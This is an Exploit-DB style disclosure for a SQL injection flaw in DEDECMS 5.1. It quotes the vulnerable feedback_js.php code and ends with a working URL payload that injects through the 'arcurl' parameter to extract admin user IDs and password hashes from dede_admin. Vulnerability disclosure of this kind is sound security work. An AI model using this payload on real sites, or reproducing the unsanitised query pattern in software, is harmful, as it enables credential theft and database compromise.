DEDECMS Sql Injection Vulnerability

vendor:

DEDECMS

by:

Securitylab.ir

6.5

CVSS

MEDIUM

Sql Injection Vulnerability

CWE

Product Name: DEDECMS

Affected Version From: 5.1

Affected Version To: 5.1

Patch Exists: NO

Related CWE: N/A

CPE: a:dedecms:dedecms:5.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

DEDECMS Sql Injection Vulnerability

A SQL injection vulnerability exists in DEDECMS 5.1 due to improper sanitization of user-supplied input in the 'arcurl' parameter of the 'feedback_js.php' script. An attacker can exploit this vulnerability to execute arbitrary SQL commands in the application's database, allowing them to access or modify sensitive data.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in SQL queries.

Source

Exploit-DB raw data:

######################### Securitylab.ir ########################
# Application Info:
# Name: DEDECMS
# Version: 5.1
#################################################################
# Discoverd By: Securitylab.ir 
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection Vulnerability
# Risk: Medium
#===========================================================
# feedback_js.php
$urlindex = 0;
if(empty($arcID))
{
$row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' ");
 if(is_array($row)) $urlindex = $row['id'];
}
if(empty($arcID) && empty($urlindex)) exit();
......
if(empty($arcID)) $wq = " urlindex = '$urlindex' "; 
else $wq = " aid='$arcID' ";
 $querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc";
$dlist->Init();
$dlist->SetSource($querystring);
...
# http://site.com/[PATH]/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''=
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################